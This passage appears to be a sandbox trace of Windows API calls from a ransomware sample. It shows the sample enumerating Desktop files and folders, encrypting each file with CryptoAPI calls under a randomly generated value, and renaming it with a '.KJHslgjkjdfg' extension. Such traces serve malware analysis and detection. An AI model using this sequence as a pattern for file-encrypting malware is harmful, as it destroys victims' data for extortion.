hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0127.217] GetProcessHeap () returned 0x2a0000 [0127.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.217] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3EaUC.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3eauc.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3EaUC.pptx.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3eauc.pptx.kjhslgjkjdfg")) returned 1 [0127.218] CloseHandle (hObject=0xc0) returned 1 [0127.218] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x692cbe90, ftCreationTime.dwHighDateTime=0x1d5db59, ftLastAccessTime.dwLowDateTime=0x2351bc90, ftLastAccessTime.dwHighDateTime=0x1d5da91, ftLastWriteTime.dwLowDateTime=0x2351bc90, ftLastWriteTime.dwHighDateTime=0x1d5da91, nFileSizeHigh=0x0, nFileSizeLow=0x8d76, dwReserved0=0x0, dwReserved1=0xffff, cFileName="3GD_ ZxL28r4c.mp4", cAlternateFileName="3GD_ZX~1.MP4")) returned 1 [0127.218] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3GD_ ZxL28r4c.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3gd_ zxl28r4c.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.218] GetProcessHeap () returned 0x2a0000 [0127.218] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.218] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.218] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.218] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0xa, lpOverlapped=0x0) returned 1 [0127.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.219] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.219] GetProcessHeap () returned 0x2a0000 [0127.219] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.220] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.220] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.220] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.220] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.220] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.220] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.220] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.220] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.220] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.220] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.220] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.220] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8d76, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x8d76, lpOverlapped=0x0) returned 1 [0127.221] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x8d80, dwBufLen=0x8d80 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x8d80) returned 1 [0127.221] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.221] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8d80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x8d80, lpOverlapped=0x0) returned 1 [0127.221] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.222] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x8e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.222] SetEndOfFile (hFile=0xc0) returned 1 [0127.224] GetProcessHeap () returned 0x2a0000 [0127.224] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.224] GetProcessHeap () returned 0x2a0000 [0127.224] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.225] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3GD_ ZxL28r4c.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3gd_ zxl28r4c.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3GD_ ZxL28r4c.mp4.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3gd_ zxl28r4c.mp4.kjhslgjkjdfg")) returned 1 [0127.229] CloseHandle (hObject=0xc0) returned 1 [0127.229] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48bfb1a0, ftCreationTime.dwHighDateTime=0x1d5d8aa, ftLastAccessTime.dwLowDateTime=0x1fe1f940, ftLastAccessTime.dwHighDateTime=0x1d5e2ec, ftLastWriteTime.dwLowDateTime=0x1fe1f940, ftLastWriteTime.dwHighDateTime=0x1d5e2ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="3YWouV", cAlternateFileName="")) returned 1 [0127.229] GetProcessHeap () returned 0x2a0000 [0127.229] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6a) returned 0x2c2270 [0127.229] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\*.*", lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48bfb1a0, ftCreationTime.dwHighDateTime=0x1d5d8aa, ftLastAccessTime.dwLowDateTime=0x1fe1f940, ftLastAccessTime.dwHighDateTime=0x1d5e2ec, ftLastWriteTime.dwLowDateTime=0x1fe1f940, ftLastWriteTime.dwHighDateTime=0x1d5e2ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c6320 [0127.230] GetProcessHeap () returned 0x2a0000 [0127.230] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c2270 | out: hHeap=0x2a0000) returned 1 [0127.230] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48bfb1a0, ftCreationTime.dwHighDateTime=0x1d5d8aa, ftLastAccessTime.dwLowDateTime=0x1fe1f940, ftLastAccessTime.dwHighDateTime=0x1d5e2ec, ftLastWriteTime.dwLowDateTime=0x1fe1f940, ftLastWriteTime.dwHighDateTime=0x1d5e2ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0127.231] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5c8e410, ftCreationTime.dwHighDateTime=0x1d5ddd2, ftLastAccessTime.dwLowDateTime=0x6ad3d1a0, ftLastAccessTime.dwHighDateTime=0x1d5da16, ftLastWriteTime.dwLowDateTime=0x6ad3d1a0, ftLastWriteTime.dwHighDateTime=0x1d5da16, nFileSizeHigh=0x0, nFileSizeLow=0x12a88, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="2Z E V5apz_.mkv", cAlternateFileName="2ZEV5A~1.MKV")) returned 1 [0127.231] GetProcessHeap () returned 0x2a0000 [0127.231] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26c) returned 0x2c7680 [0127.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\2Z E V5apz_.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\2z e v5apz_.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.231] GetProcessHeap () returned 0x2a0000 [0127.231] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.231] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.231] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.231] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.232] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.232] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.232] GetProcessHeap () returned 0x2a0000 [0127.232] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.232] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40) returned 1 [0127.232] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.232] WriteFile (in: hFile=0xb8, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fa08*=0x40, lpOverlapped=0x0) returned 1 [0127.233] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.233] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.233] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.233] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.233] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.233] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.233] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.233] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.233] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x12a88, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0x12a88, lpOverlapped=0x0) returned 1 [0127.234] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x12a90, dwBufLen=0x12a90 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x12a90) returned 1 [0127.235] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.235] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12a90, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0x12a90, lpOverlapped=0x0) returned 1 [0127.235] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.235] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x12b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.236] SetEndOfFile (hFile=0xb8) returned 1 [0127.239] GetProcessHeap () returned 0x2a0000 [0127.239] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.239] GetProcessHeap () returned 0x2a0000 [0127.239] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.239] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\2Z E V5apz_.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\2z e v5apz_.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\2Z E V5apz_.mkv.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\2z e v5apz_.mkv.kjhslgjkjdfg")) returned 1 [0127.242] CloseHandle (hObject=0xb8) returned 1 [0127.243] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda5ffcd0, ftCreationTime.dwHighDateTime=0x1d5d898, ftLastAccessTime.dwLowDateTime=0x7094840, ftLastAccessTime.dwHighDateTime=0x1d5dfd3, ftLastWriteTime.dwLowDateTime=0x7094840, ftLastWriteTime.dwHighDateTime=0x1d5dfd3, nFileSizeHigh=0x0, nFileSizeLow=0x14e06, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="afvg.docx", cAlternateFileName="AFVG~1.DOC")) returned 1 [0127.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\afvg.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\afvg.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.243] GetProcessHeap () returned 0x2a0000 [0127.243] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.243] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.243] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.243] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0xa, lpOverlapped=0x0) returned 1 [0127.244] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.244] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.244] GetProcessHeap () returned 0x2a0000 [0127.244] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0127.244] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f9f0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f9f0*=0x30) returned 1 [0127.244] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.244] WriteFile (in: hFile=0xb8, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290fa08*=0x30, lpOverlapped=0x0) returned 1 [0127.245] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.245] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.245] WriteFile (in: hFile=0xb8, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.245] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.245] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.245] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.245] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.245] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.245] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14e06, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0x14e06, lpOverlapped=0x0) returned 1 [0127.246] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x14e10, dwBufLen=0x14e10 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x14e10) returned 1 [0127.247] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.247] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14e10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0x14e10, lpOverlapped=0x0) returned 1 [0127.248] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.248] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x14ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.248] SetEndOfFile (hFile=0xb8) returned 1 [0127.251] GetProcessHeap () returned 0x2a0000 [0127.251] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0127.251] GetProcessHeap () returned 0x2a0000 [0127.251] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.251] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\afvg.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\afvg.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\afvg.docx.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\afvg.docx.kjhslgjkjdfg")) returned 1 [0127.255] CloseHandle (hObject=0xb8) returned 1 [0127.255] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54090fc0, ftCreationTime.dwHighDateTime=0x1d5d8c3, ftLastAccessTime.dwLowDateTime=0x6d8c5690, ftLastAccessTime.dwHighDateTime=0x1d5e198, ftLastWriteTime.dwLowDateTime=0x6d8c5690, ftLastWriteTime.dwHighDateTime=0x1d5e198, nFileSizeHigh=0x0, nFileSizeLow=0xdaba, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="dbb7VVrVqOrPxNo5aE5.avi", cAlternateFileName="DBB7VV~1.AVI")) returned 1 [0127.255] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\dbb7VVrVqOrPxNo5aE5.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\dbb7vvrvqorpxno5ae5.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.255] GetProcessHeap () returned 0x2a0000 [0127.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.255] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.255] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.255] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0x6, lpOverlapped=0x0) returned 1 [0127.256] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.256] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.256] GetProcessHeap () returned 0x2a0000 [0127.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.256] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50) returned 1 [0127.256] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.256] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fa08*=0x50, lpOverlapped=0x0) returned 1 [0127.257] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.257] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.257] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.257] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.257] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.257] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, 